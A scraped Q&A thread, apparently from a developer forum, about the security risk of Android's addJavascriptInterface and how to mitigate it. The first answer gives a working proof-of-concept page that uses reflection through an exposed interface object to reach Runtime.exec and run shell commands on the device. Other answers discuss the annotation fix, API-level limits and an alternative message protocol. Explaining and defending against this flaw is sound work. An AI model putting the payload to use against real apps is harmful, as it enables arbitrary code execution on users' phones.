Android JavascriptInterface Security?

10,469

Solution 1

an example access sdcard files from javascript:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>

Solution 2

So code that gets run in a WebView is sandboxed by default - that is, it can't execute the dangerous native stuff like writing to the filesystem or accessing the address book etc...

Most javaScript falls into that category and in the case of showing a custom dialog, there's no danger.

addJavaScriptInterface allows you to expose native phone stuff to javascript and the danger is that if you don't write your javaScriptInterface correctly you could end up exposing a person's phone to real danger from a hacker.

I think it's easiest to understand using an example.

Say you write a javaScript interface where you can call a function from javaScript that writes a file to a path on the android filesystem. eg:

writeToFile(data, safepath);

The javascript all comes from your server but somehow a hacker compromises your server and changes the HTML/JavaScript that's being loaded into your WebView to run:

writeToFile(dangerousdata, pathtosomeotherfile);

Now I haven't examined the layout of an android package well enough to know which file I'd want to overwrite/change if I were a hacker, but we used to have little hacking battles with friends on our own linux machines when I was younger and you'd use a call like this to overwrite something like the SSH binary - then you'd be able to log all passwords that would come in. If you could do things like overwrite or extend the original apk with your own you could turn the person's phone into a server you could log into remotely (I'm not sure if that's possible due to how applications are sandboxed). Even if all you could do is overwrite a critical data file you might be able to cause a user to give you (the hacker in this case) access to security credentials, passwords, all sorts of things.

There was a time many years ago where we found a hole in the sendmail process on a linux machine that allowed us to start up a shell. We were logged into our server as the mail user. You couldn't do much as the mail user, but once you were on the machine it gave you the chance to look around for other weaknesses.

So you can do what you want to do safely, just be sure that you make that JavaScript interface really simple and dumb - it only writes to one file in one location and the data that you write is maybe text or something that doesn't get interpreted later. For dialogs I do this all the time - don't need any special native calls either. It's a great way to make a page you can update after the user has your app installed.

Hope this is helpful!

Solution 3

The fix:

For applications running Android 4.2 all public methods that are annotated with JavascriptInterface can be accessed from JavaScript.

So if you develop an application for SDK version 17 or higher, you must add the @JavascriptInterface annotation to any method that you want available to your JavaScript.

If you do not provide the annotation, the method is not accessible by your web page when running on Android 4.2 or higher.

To know more click here

Solution 4

For anyone checking this out in 2020, it seems like the security concern only affects Android APIs lower than 17 (Android 4.2). So, if your minSdkVersion is 17 or higher, then you should be safe.

Here are references:

Solution 5

OverView

To avoid the security issue of addJavaScriptInterface(), you need to design a communication protocol between native code and JavaScript.

The following is a simple design of the communication protocol.

In JavaScript

To simplify the communication protocol, every function call that you want Android to handle should obey the following pattern

/*
classname string
method name string
params jsonObject
*/
value=classname+":"+methodname+"?"+"params";
window.promt(value,"");

In Java

One can override the onJsPrompt() in WebChromeClient.

WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
//Parse className
//Parse methodName 
//Parse params
//Create an instance of the target class by reflection. Call the target method with params.
//Return true if all params in message valid, otherwise return false.
}

Cordova framework

This is also how Cordova Plugin works. Although Cordova is more complicated, it adds callback function to "JS to Native Call", and allow native code call JavaScript

Share:
10,469

Related videos on Youtube

NoBugs
Author by

NoBugs

Updated on June 01, 2022

Comments

  • NoBugs
    NoBugs almost 2 years

    From the documentation: http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

    "Using addJavascriptInterface() allows JavaScript to control your application. This can be a very useful feature or a dangerous security issue. When the HTML in the WebView is untrustworthy (for example, part or all of the HTML is provided by some person or process), then an attacker could inject HTML that will execute your code and possibly any code of the attacker's choosing. Do not use addJavascriptInterface() unless all of the HTML in this WebView was written by you. The Java object that is bound runs in another thread and not in the thread that it was constructed in.

    Suppose I have an interface that only shows a custom dialog box, or starts a download to sd card. Would this be unsafe to use for any url? How could an attack page use the interface to run any code of the attacker's choosing?

    Update: According to the documentation:

    This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.

    Is there an example of how this could happen? It this just saying that DOWNLOADINTERFACE.dangerousfunction could be called if that's a public method on that class?

    Update:

    I tested based on the example of the exploit below, sites can get access to the system through interfaces in Android 4.4, 4.1, and 3.2.

    However, I was not seeing this bug on Android 2.2, or 2.3, the hack only causes a force-close. What is the best way to prevent this hack, other than not using JSInterface? Can I include bogus functions like this, to prevent unauthorized calling of functions?

    public Object getClass() {
      //throw error, return self, or something?  
    }
    

    Or rewrite everything using ajax and intercepting calls? Would that result in better/worse performance?

    Update:

    I succeeded in removing the JS interface, and replaced the functionality by defining window.open(specialurl) commands for all the window.(interface) functions, and overriding those in the shouldOverrideUrlLoading. Strangely enough, window.open() must be used in some cases, or the webview breaks display (like javascript is stopping?), and in other cases location.replace should be used or it will just show a "interface://specialdata" could not be found message.

    (I set settings.setJavaScriptCanOpenWindowsAutomatically(true) so window.open works from JS all the time.)

    Anyone know the best way to rewrite an app with this behavior?

    • Dediqated
      Dediqated over 10 years
      are you loading external files from the internet or only local files on the phone? And did you have set the internet permission? because I think the hacker can't change javascript code if he has no way of reaching the phone remotely
    • NoBugs
      NoBugs over 10 years
      This was from web, not local, so I need to protect this interface.
    • roxrook
      roxrook over 10 years
      @NoBugs: Hello, I wonder if you have successfully found a solution for this security hole without removing JavascriptInterface ? Also, I notice your way of override getClass() isn't feasible since getClass() is a final method.
    • NoBugs
      NoBugs over 9 years
      @Chan Yes, I found calling ajax and intercepting it is a fine alternative to the JSinterface.
  • NoBugs
    NoBugs almost 13 years
    I'm not making a root app so it shouldn't be able to overwrite anything important, only /sdcard/something, but I'm wondering if there is some inherent security hole in this feature, since documentation says to never use it on html you didn't write, it could run any code of attacker's choosing.
  • walta
    walta almost 13 years
    Well there is /sdcard/something... I THINK that could include reading from and writing to files used by other applications. Then there's everything in your application data directory. That could include databases and whatnot. I think there's not an inherent security hole. It's just that you're explicitly punching a hole in the web sandbox. If you have a good reason then just be sure you know what you're doing.
  • NoBugs
    NoBugs over 10 years
    What sort of Java interface did this work with? I get an error on window.DOWNLOADINTERFACE.getClass().forName("java.lang.Runti‌​me"). E/webcoreglue(15778): *** Uncaught exception returned from Java call! W/System.err(15778): java.lang.CloneNotSupportedException: Class doesn't implement Cloneable W/System.err(15778): at java.lang.Object.clone(Object.java:79) W/System.err(15778): at android.webkit.JWebCoreJavaBridge.sharedTimerFired(Native Method)
  • NoBugs
    NoBugs over 10 years
    Then why do 2.2 and 2.3 devices not work with Haitao's example code above? The only device I've found to have this bug was a 4.1 device.
  • afpro
    afpro over 10 years
    sorry about that, i don't have 2.x device. i just work on 4.x.
  • NoBugs
    NoBugs over 10 years
    Thanks but I don't even have access to a 4.2 device right now, and I'm writing this for maximum compatibility.
  • Durai Amuthan.H
    Durai Amuthan.H over 10 years
    Then if possible disable the javascript so that even intruder can't access any java methods and exploit this vulnerability
  • Durai Amuthan.H
    Durai Amuthan.H over 10 years
    As this problem is kind of MAN IN THE MIDDLE attack you could use SSL certificates to ensure that the content you received is not tampered.
  • NoBugs
    NoBugs over 10 years
    Half true, you must be on 4.2+ and be using an app that uses the new @JavascriptInterface and was compiled for newer api.
  • NoBugs
    NoBugs almost 9 years
    Location.promt? Why not change location and do shouldOverRideUrlLoading of a specific scheme:// ? What if page actually has prompts?
  • York
    York almost 9 years
    The page actually prompts nothing. As the onJsPrompt has been override and the corresponding return value is true, the WebKit will assume the JavaScript promt function has been processed, and won't prompt anything. You need to do your own implementation in onJsPrompt function. It's Ok if you want to do this another scheme. But why bother? window.prompt() is easy to use already.
  • Skynet
    Skynet about 8 years
    if you don't write your javaScriptInterface correctly - a very useful point but what measures as correctly here? What pitfalls should a programmer look for?